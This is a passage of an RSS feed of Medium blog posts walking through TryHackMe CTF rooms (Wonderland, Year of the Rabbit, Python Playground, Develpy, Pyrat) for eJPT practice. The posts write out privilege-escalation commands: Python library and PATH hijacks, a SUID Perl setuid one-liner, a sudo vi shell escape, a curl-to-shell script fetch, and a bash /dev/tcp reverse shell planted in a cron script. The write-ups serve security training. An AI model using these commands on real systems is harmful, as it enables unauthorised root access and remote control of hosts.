src="https://cdn-images-1.medium.com/max/1024/1*HEK9sl60--AKhx5SzARnLQ.png" /></figure><p>Once logged in, we ran ls and found two files: root.txt and walrus_and_the_carpenter.py. Interestingly, the root.txt file was in alice&#39;s home directory — not the usual place! The actual user flag was stored at /root/user.txt.</p><ul><li>cat /root/user.txt — read the user flag from the root directory</li></ul><blockquote><strong><em>Tip:</em></strong><em> In Wonderland, things are flipped — the user flag is in </em><em>/root and the root flag is in </em><em>/home/alice. Just like Alice&#39;s topsy-turvy world!</em></blockquote><h3>Step 6 — Checking Sudo Privileges</h3><p>To escalate our privileges, the first thing to check is what commands alice can run as another user using <strong>sudo</strong>:</p><ul><li>sudo -l — lists all allowed sudo commands for the current user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_mMgM_vtIOVtBrtAWpcGA.png" /></figure><p><strong>Finding:</strong> Alice can run /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py as the user <strong>rabbit</strong>. This is our path forward!</p><p><strong>Step 7 — Python Library Hijacking</strong></p><p>We first looked at the contents of the Python script:</p><ul><li>cat walrus_and_the_carpenter.py — the script imports random and prints random lines from a poem</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbMQCYTwtwDWyAGzftLYeA.png" /></figure><p>Since the script uses import random, we can exploit how Python searches for modules. Python looks in the <strong>current directory first</strong> before checking system libraries. So we can create a fake random.py file in alice&#39;s home directory with malicious code:</p><ul><li>nano random.py — create a file named random.py in the current directory</li><li>Inside, we write: import os; os.system(&quot;/bin/bash&quot;)</li><li>When the script runs and does import random, it picks up our fake file instead of the real one</li><li>This causes it to spawn a bash shell — running as <strong>rabbit</strong>!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKV6B6nZ7OTqLYjtuxyqqg.png" /></figure><p>We then ran the exploit:</p><ul><li>sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py — execute the script as the rabbit user</li><li>Our fake random.py gets imported, spawning a bash shell as <strong>rabbit</strong></li></ul><p>As rabbit, we navigated to /home/rabbit and found an executable binary called <strong>teaParty</strong>.</p><h3>Step 8 — Analysing the teaParty Binary</h3><p>Running ./teaParty printed a welcome message and then crashed with a segmentation fault. To understand what it was doing internally, we transferred it to our Kali machine for analysis.</p><p>On the rabbit shell, we served the file over HTTP:</p><ul><li>python3 -m http.server — starts a simple web server on port 8000</li></ul><p>On our Kali machine, we downloaded it:</p><ul><li>wget http://10.49.162.193:8000/teaParty — downloads the binary</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al15InO3acp9HXbtBX3Bxw.png" /></figure><p>We then used strings teaParty to extract readable text from the binary. This is a quick way to spot hardcoded commands, messages, or clues inside any compiled program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sLXewmS03DW6Mir7y8qICg.png" /></figure><p><strong>Key finding:</strong> The binary calls date (the Linux date command) <strong>without a full path</strong>. This means it relies on the system $PATH variable to find it — which we can hijack!</p><h3>Step 9 — PATH Hijacking to Become Hatter</h3><p>Since teaParty calls date without a full path, we can create a fake date script in a directory we control, then put that directory <em>first</em> in the $PATH. When the binary runs, it’ll pick up our fake date instead of the real one.</p><ul><li>Create a file called date in /home/rabbit containing #!/bin/bash and /bin/bash — this makes it spawn a shell</li><li>chmod +x date — make the fake script executable</li><li>export PATH=/home/rabbit:$PATH — prepend rabbit’s home to the PATH so our fake date is found first</li><li>Run ./teaParty again — this time the binary calls our fake date, spawning a new shell</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kL6FLZQkf6PQCux6uhk5aQ.png" /></figure><p>Running id confirmed we were now acting as <strong>hatter</strong>! We escalated from rabbit to hatter using only PATH manipulation.</p><h3>Step 10 — SSH as Hatter &amp; Running LinEnum</h3><p>We navigated to /home/hatter and found a password.txt file containing hatter&#39;s SSH password. We used this to get a clean, stable shell by SSHing in directly:</p><ul><li>ssh hatter@10.49.162.193 — log in with the discovered password</li><li>id — confirms we&#39;re now fully logged in as <em>hatter</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOgT3mJMy2hRW4R4EzQ3Sg.png" /></figure><p>To find privilege escalation paths, we used <strong>LinEnum</strong> — a popular Linux enumeration script that checks for common misconfigurations, SUID binaries, cron jobs, and more.</p><p>We transferred it from our Kali machine:</p><ul><li>On Kali: python3 -m http.server 8000</li><li>On the target: wget <a href="http://192.168.190.31:8000/LinEnum.sh">http://192.168.190.31:8000/LinEnum.sh</a></li><li>chmod +x LinEnum.sh — make it executable</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yu1qQ_tkffe2MqFcksjeLg.png" /></figure><p>We also ran it directly without saving:</p><ul><li>curl http://192.168.190.31:8000/LinEnum.sh | sh — pipe the script directly into bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bj2FTwZ0K4UGLu32OamiFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/0*wntSfN9EZtV_ifhj.png" /></figure><p>LinEnum revealed the system was running <strong>Ubuntu 18.04.4 LTS</strong> with kernel 4.15.0-101-generic. More importantly, it flagged that the /usr/bin/perl binary had the <strong>SUID bit</strong> set — this is our ticket to root!</p><h3>Step 11 — Root via SUID Perl</h3><p>A <strong>SUID binary</strong> is a program that runs with the permissions of its owner (in this case root) rather than the user who launched it. Since /usr/bin/perl is SUID root, we can use it to execute commands as root.</p><ul><li>which perl — confirm the location of perl</li><li>Run the SUID exploit one-liner: /usr/bin/perl -e &#39;use POSIX qw(setuid); POSIX::setuid(0); exec &quot;/bin/sh&quot;;&#39;</li></ul><p>This Perl one-liner uses the POSIX module to call setuid(0) — setting our user ID to 0 (root) — then spawns a shell. Because Perl itself has the SUID root bit, this succeeds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHpYFQiaYBUhQB1cwI1ejw.png" /></figure><ul><li>id — confirms uid=0(root) — we are root!</li><li>We navigated to /home/alice/root.txt and retrieved the root flag, completing the challenge.</li></ul><h3>Summary &amp; Key Takeaways</h3><p>This room is a great introduction to chained privilege escalation. Here’s the full attack path at a glance:</p><ul><li><strong>Recon</strong> — Nmap revealed SSH (22) and HTTP (80)</li><li><strong>Web Enum</strong> — ffuf with recursion uncovered the hidden /r/a/b/b/i/t/ path</li><li><strong>Credential Discovery</strong> — SSH credentials hidden in the page source with display:none</li><li><strong>Initial Access</strong> — SSH as <em>alice</em> with the discovered credentials</li><li><strong>Lateral Move (alice → rabbit)</strong> — Python library hijack via a fake random.py</li><li><strong>Lateral Move (rabbit → hatter)</strong> — PATH hijack abusing the teaParty binary calling date without a full path</li><li><strong>Privilege Escalation (hatter → root)</strong> — SUID Perl one-liner using POSIX::setuid(0)</li></ul><p>Room completed! Both flags captured. This challenge beautifully demonstrates how a chain of small misconfigurations — hidden credentials, insecure sudo rules, weak binary paths, and SUID misconfigurations — can lead all the way to root.</p><blockquote><strong>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5569814a5e66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 30: Year Of the Rabbit]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-30-year-of-the-rabbit-1caa4f51999b?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/1caa4f51999b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 10:14:47 GMT</pubDate>
            <atom:updated>2026-03-11T10:14:47.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/pythonplayground"><strong>Challenge Lab 29: Python PlayGround</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/yearoftherabbit"><strong>Challenge Lab 30: Year of the Rabbit</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>Started with an Nmap scan to identify open ports and the services running on the target machine.</p><p>Nmap is a network scanning tool used to discover hosts, open ports, and running services.</p><p>The scan revealed three open ports:<br>21 (FTP) — File Transfer Protocol<br>22 (SSH) — Secure Shell remote access<br>80 (HTTP) — Web server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dn7GLHZsxbTymr6pf8xEcg.png" /></figure><p>Navigated to the web application running on port 80. There’s a default apache installation page, but no obvious vulnerabilities were visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7HPd0ljQY8YR3FpLSennA.png" /></figure><p>Next, performed directory enumeration on the web server using Gobuster.</p><p>gobuster dir -u http://&lt;IP&gt; -w /usr/share/wordlists/dirb/small.txt</p><p>Gobuster is used to brute-force hidden directories and files on web servers using wordlists. <br>During enumeration, discovered a directory called /assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43jsqQvac8uX8RevtJGQXQ.png" /></figure><p>Navigated to the /assets directory and found two files. First inspected the style.css file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9Z02VmtK_Vc5yTy0tSwHw.png" /></figure><p>CSS files sometimes contain comments or references that reveal hidden resources.</p><p>Inside the CSS file, found a reference to another hidden page and navigated to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5-bxDgAzaiAxXrR146BXIQ.png" /></figure><p>When accessing the page, a pop-up appeared instructing to disable JavaScript. Opened the browser configuration page:</p><p>about:config</p><p>Searched for javascript.enabled and disabled it. After refreshing the page, additional content became visible.</p><p>The page contained a video with a hint. The hint mentioned “Burp”, indicating the use of Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWR0GRAq_NCEackyeLkHdQ.png" /></figure><p>Burp Suite is a web security testing tool used to intercept and modify HTTP requests.</p><p>Enabled Burp proxy and intercepted the request for the following page:sup3r_s3cret_fl4g.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KfCV6ARmvQzqSIJUsbDoMg.png" /></figure><p>While analyzing the request in Burp Suite, discovered a hidden directory path.</p><p>Navigated to the hidden directory and found a PNG image file. Downloaded the image to the local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X4whrR6vxvsoo0z08QRqZA.png" /></figure><p>Extracted readable text from the image using the strings command.</p><p>The strings command extracts human-readable text from binary files, which can reveal hidden data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szPlu4ev5xWL3m0FPtqMvg.png" /></figure><p>From the extracted output, identified an FTP username and several possible passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NphaBVsanYD9SGa4xsRxOA.png" /></figure><p>Saved the passwords into a file and used Hydra to perform a brute-force attack on the FTP service.</p><p>hydra -l ftpuser -P password.txt ftp://&lt;IP&gt;</p><p>Hydra is a fast password-cracking tool used for brute-forcing login credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9-5c0bsPDLSweB0Byw19g.png" /></figure><p>Hydra successfully revealed the correct FTP credentials.</p><p>Logged into the FTP server using the discovered credentials.</p><p>FTP allows transferring files between a client and a server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zMyPUyEfkZ2HvGdK8bfWuA.png" /></figure><p>Inside the FTP server, found a file named Eli’s_Creds.txt and downloaded it to the local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ou7FBPYH4nNY0GsJQKOwVQ.png" /></figure><p>Viewing the file contents revealed an encoded string that seemed suspiciously like Brainfuck code. This pointed towards the next puzzle: decoding this string to unveil usable credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9mjm0wfb1zWyIhsv7fXgQ.png" /></figure><p>After decoding them, obtained login credentials for the Eli user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-40tJSeLifWKX43slMNnSg.png" /></figure><p>Used the credentials to access the system via SSH. SSH provides secure remote login to a system.</p><p>Successfully logged in as Eli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sg2Sut0sFWITQWAJyG2ojQ.png" /></figure><p>After logging in, discovered a hint pointing to a hidden file in the system. Used the locate command to search for it.</p><p>locate s3cr3t</p><p>The locate command quickly searches for files across the filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vXi-qTeHVw_gaaMiGNqBA.png" /></figure><p>Navigated to the directory and read the hidden message.</p><p>The message contained credentials for another user named gwendoline.</p><p>Switched to the gwendoline user account.</p><p>su gwendoline</p><p>Successfully logged in and retrieved the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_UPQXo21MvXRSABWwHGog.png" /></figure><p>To escalate privileges, checked the sudo permissions available to the user.</p><p>sudo -l</p><p>This command lists the commands that the current user can run with elevated privileges.</p><p>The output revealed that the user could execute vi as root using:</p><p>sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt</p><p>The command abuses a sudo UID trick (-u#-1) to run vi as root and access a protected file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlEpCOHxEXhUJUXZBlYKJA.png" /></figure><p>Opened the file with the above command. Since vi allows shell execution, escaped to a root shell by running:</p><p>:!/bin/sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n25P1_UIpqaFMoSzvEbAyQ.png" /></figure><p>This spawned a root shell.</p><p>With root privileges obtained, navigated to the root directory and retrieved the root flag, completing the challenge.</p><blockquote><strong><em>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1caa4f51999b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 29: Python PlayGround]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-29-python-playground-75e881663eb4?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/75e881663eb4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Tue, 03 Mar 2026 13:48:19 GMT</pubDate>
            <atom:updated>2026-03-03T13:48:19.094Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored<a href="https://tryhackme.com/room/bsidesgtdevelpy"> <strong>Challenge Lab 28: Develpy</strong></a><strong>. </strong>Now will move into <a href="https://tryhackme.com/room/pythonplayground"><strong>Challenge Lab 29: Python PlayGround</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>Started with an Nmap scan using service and version detection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iSaKt_RWMEy0-cfJm7unA.png" /></figure><p>The scan revealed two open ports: 22 (SSH) and 80 (HTTP). Nothing significant was identified from the initial scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sxy_pBQTYyOz_zdtVsTjHQ.png" /></figure><p>Navigated to the web application running on port 80. The page displayed a login and sign-up interface, but no obvious vulnerabilities were visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJ6-88VY2ZKcmA63PnDk7Q.png" /></figure><p>Performed directory brute-forcing using Gobuster:</p><p>gobuster dir -u http://&lt;IP&gt;/ -w /usr/share/wordlists/dirb/small.txt -x php,html,txt -t 50</p><p>During enumeration, discovered an admin.html page and proceeded to access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S4Oj5y7rjyrtvW8jGCHL2Q.png" /></figure><p>On the admin page, identified that Connor was the username based on information disclosed directly on the page.</p><p>Viewed the page source code and noticed that upon successful authentication, it redirected to a specific directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydgerl7zyWvOPxQjbq7Z4Q.png" /></figure><p>Navigated to that directory and observed that it allowed execution of Python code, indicating a potential Remote Code Execution (RCE) vulnerability.</p><p>The goal was to achieve RCE and obtain a reverse shell. Injected the following Python reverse shell payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrOyr1dJhK8kCDnQss8qEg.png" /></figure><p>Started a Netcat listener on the attacking machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzJ9HXhCnxsfd58L9NtQsw.png" /></figure><p>Upon execution, obtained a shell. Running whoami showed that the shell was running as root, but inside a Docker container.</p><p>Searched the root directory and retrieved the first flag.</p><p>The remaining flags were not present inside the container. Therefore, shifted focus to exploiting the SSH service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LMCibGrNthVaxMItKY4VCw.png" /></figure><p>Found a hash inside the admin.txt file and used the above cracking script to recover the password</p><p>After successfully cracking the password, connected via SSH as Connor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lp4sT1YyaiIbb5W4wnqTXA.png" /></figure><p>Enumerated the system and located flag 2.</p><p>For privilege escalation, After obtaining a root shell inside the Docker container, I began inspecting mounted directories and noticed suspicious Docker bind mounts. Upon further investigation, /mnt/log inside the container appeared to be mapped to /var/log on the host system, which was a strong privilege escalation opportunity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHUph2p5_jDtPUXBii3cIw.png" /></figure><p>To confirm this, I created a test file inside the container</p><p>Then, from the SSH session on the host system, I checked /var/log and verified that the test file was present. This confirmed that /mnt/log was indeed a bind mount to the host’s /var/log directory.</p><p>Since I had root access inside the Docker container, I could modify files in this mounted directory with root privileges, which would directly affect the host.</p><p>Inside the container, I created a directory to store a payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLS_OAh61bOyE46LWylGXA.png" /></figure><p>From the SSH session on the host, I copied the host’s /bin/bash binary into the shared directory</p><p>This step was important because the Docker container’s /bin/bash binary might have different dynamic links compared to the host’s binary.</p><p>Returning to the Docker container, I modified the copied bash binary to make it owned by root and set the SUID bit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*SwOfXa8j-4_Fl4Hc7udfJg.png" /></figure><p>Now, back in the SSH session as the normal user, I executed the modified binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAC-1KgnjZGfhgVyjwbFew.png" /></figure><p>This spawned a root shell on the host system due to the SUID bit being set. After gaining full root access, I navigated to the root directory and retrieved the final flag, successfully completing the challenge.</p><blockquote><strong>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75e881663eb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 28: Develpy]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-28-develpy-9ad4e5e8f0e3?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ad4e5e8f0e3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 11:02:34 GMT</pubDate>
            <atom:updated>2026-02-19T11:02:34.417Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/pyrat"><strong>Challenge Lab 27: Pyrat</strong></a><strong>. </strong>Now will move into <a href="https://tryhackme.com/room/bsidesgtdevelpy"><strong>Challenge Lab 28: Develpy</strong></a><strong>.</strong></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>Started with an Nmap scan using service and version detection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GEzljBCcOQ-xPH18IaNfmQ.png" /></figure><p>The scan revealed two open ports: 22 (SSH) and 10000.</p><p>Since port 10000 was open, I connected to it using Netcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZYA6ddCVgR4v30NIhTNWA.png" /></figure><p>The service was asking for input. After testing, I attempted to execute a Python command injection payload:</p><p>(_ <em>import</em> _(‘os’).system(‘bash’),0)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cjCJWWHPRfmzUj2CGBmlrg.png" /></figure><p>This successfully spawned a shell, and I was able to retrieve the first flag.</p><p>To obtain the root flag, privilege escalation was required. I started by checking scheduled tasks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqXBYyYG36Ky3cjRP4-cpQ.png" /></figure><p>Here, I noticed that three files were being executed every minute, which indicated a potential privilege escalation vector.</p><p>I then inspected the root.sh file and checked which user was allowed to execute it. The file was located inside the king directory.</p><p>The king user did not have direct permission to edit the existing root.sh file. After viewing its contents, I realized that instead of editing it directly, I could remove it and create a new malicious root.sh file.</p><p>I replaced the file with a reverse shell payload:</p><p>echo ‘bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1’ &gt; root.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RCwKVvm-wufqsewoZErmQ.png" /></figure><p>Made the new script executable:</p><p>chmod +x root.sh</p><p>Started a Netcat listener on my attacking machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFZpqUQ7BjgUT4jGmQzJsw.png" /></figure><p>Since the cron job was executing the script every minute, it triggered my malicious root.sh, resulting in a reverse shell as root.</p><p>With root access obtained, I navigated to the root directory and retrieved the root flag, successfully completing the challenge.</p><blockquote><strong>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ad4e5e8f0e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 27: Pyrat]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-27-pyrat-84b01e4ae10b?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/84b01e4ae10b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Mon, 01 Dec 2025 14:02:03 GMT</pubDate>
            <atom:updated>2025-12-01T14:02:03.322Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT v2 : Challenge Lab 27: Pyrat</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/cheesectfv10"><strong>Challenge Lab 26: Cheese. </strong></a>Now will move into <a href="https://tryhackme.com/room/pyrat"><strong>Challenge Lab 27: Pyrat.</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>Started with an Nmap scan and identified open ports 22 (SSH) and 8000 (HTTP). Added the target machine IP address into the /etc/hosts file to make navigation easier during the enumeration process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpF4CDwHmZv8Sl_LcZdxrg.png" /></figure><p>Navigated to port 8000 and saw the message “Try a more basic connection,” which indicated unusual server responses and suggested the possibility of a Remote Code Execution (RCE) vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8kcna1lyOSZw_ASdTZXQA.png" /></figure><p>Used Netcat (nc) as a basic tool to test communication with the service and sent a Python reverse shell command that attempted to connect back to my listener for establishing remote access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgJxrNGsPykHL8FQB6jT4A.png" /></figure><p>Successfully received the reverse shell on my Netcat listener, confirming RCE on the service, and upgraded the shell using Python’s pty.spawn to improve interaction and stability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYVy1iGzIgcMEizcEzJg4Q.png" /></figure><p>Moved to the /tmp directory and downloaded linpeas.sh, made it executable, and ran it to perform privilege escalation enumeration and identify misconfigurations or interesting files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_b_D38VJnVIrXqdQ5uyGBw.png" /></figure><p>LinPEAS detected a Git repository located at /opt/dev/.git, which is unusual for a production environment. This indicated potential sensitive information or credentials stored inside the repository.</p><p>Investigated the repository using git log and git show, and found a configuration file containing a username and password that could allow privilege escalation to another user on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*ghyqd4kpTxBeAjrjdcwgSA.png" /></figure><p>Used the recovered credentials to escalate from the www-data user to the think user. Navigated to the think user directory and located the user flag inside the user.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-UBrViAgZvMaQPAc3RzqMA.png" /></figure><p>Continued investigating the Git history and discovered a previous file named pyrat.py.old. The content of this file revealed how the application handled commands, confirming that the service was vulnerable to RCE when receiving specific command sequences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Y1WKj3MQobeOIOGE5_Pqw.png" /></figure><p>Opened a new terminal window, connected again using Netcat with the same command structure, and successfully confirmed the RCE again as www-data. This validated the approach before attempting further privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CBjAKBP8k_ONLIiKSV4n2Q.png" /></figure><p>To enumerate deeper, created a Python script named fuzzing_endpoint.py using nano. This script fuzzed the application’s endpoints with different inputs to see which endpoints responded differently or returned useful information.</p><p>The fuzzing results revealed that the “shell” endpoint can provide shell access, while the “admin” endpoint required a password. This made the “admin” endpoint a target for brute-forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*P6GM_Wvi95sApdYXnx3qmQ.png" /></figure><p>Modified the fuzzing script and created fuzzing_endpoint_passwords.py to brute-force the “admin” endpoint using a wordlist to automatically test different password values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBZ2XEfRcU6-pRNn8BLJfQ.png" /></figure><p>The brute-force attack successfully discovered the password “abc123,” and using this password, connected to the “admin” endpoint via Netcat to get a more privileged shell on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O5z-vKJoefAMWK-vFerr8Q.png" /></figure><p>With the admin access in place, executed commands through the obtained shell and was able to access the root directory. Finally, retrieved the root flag from the root.txt file, completing the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*Xswtw8ERW_1c-sEZrJzIRw.png" /></figure><blockquote><strong>Thank you for reading my 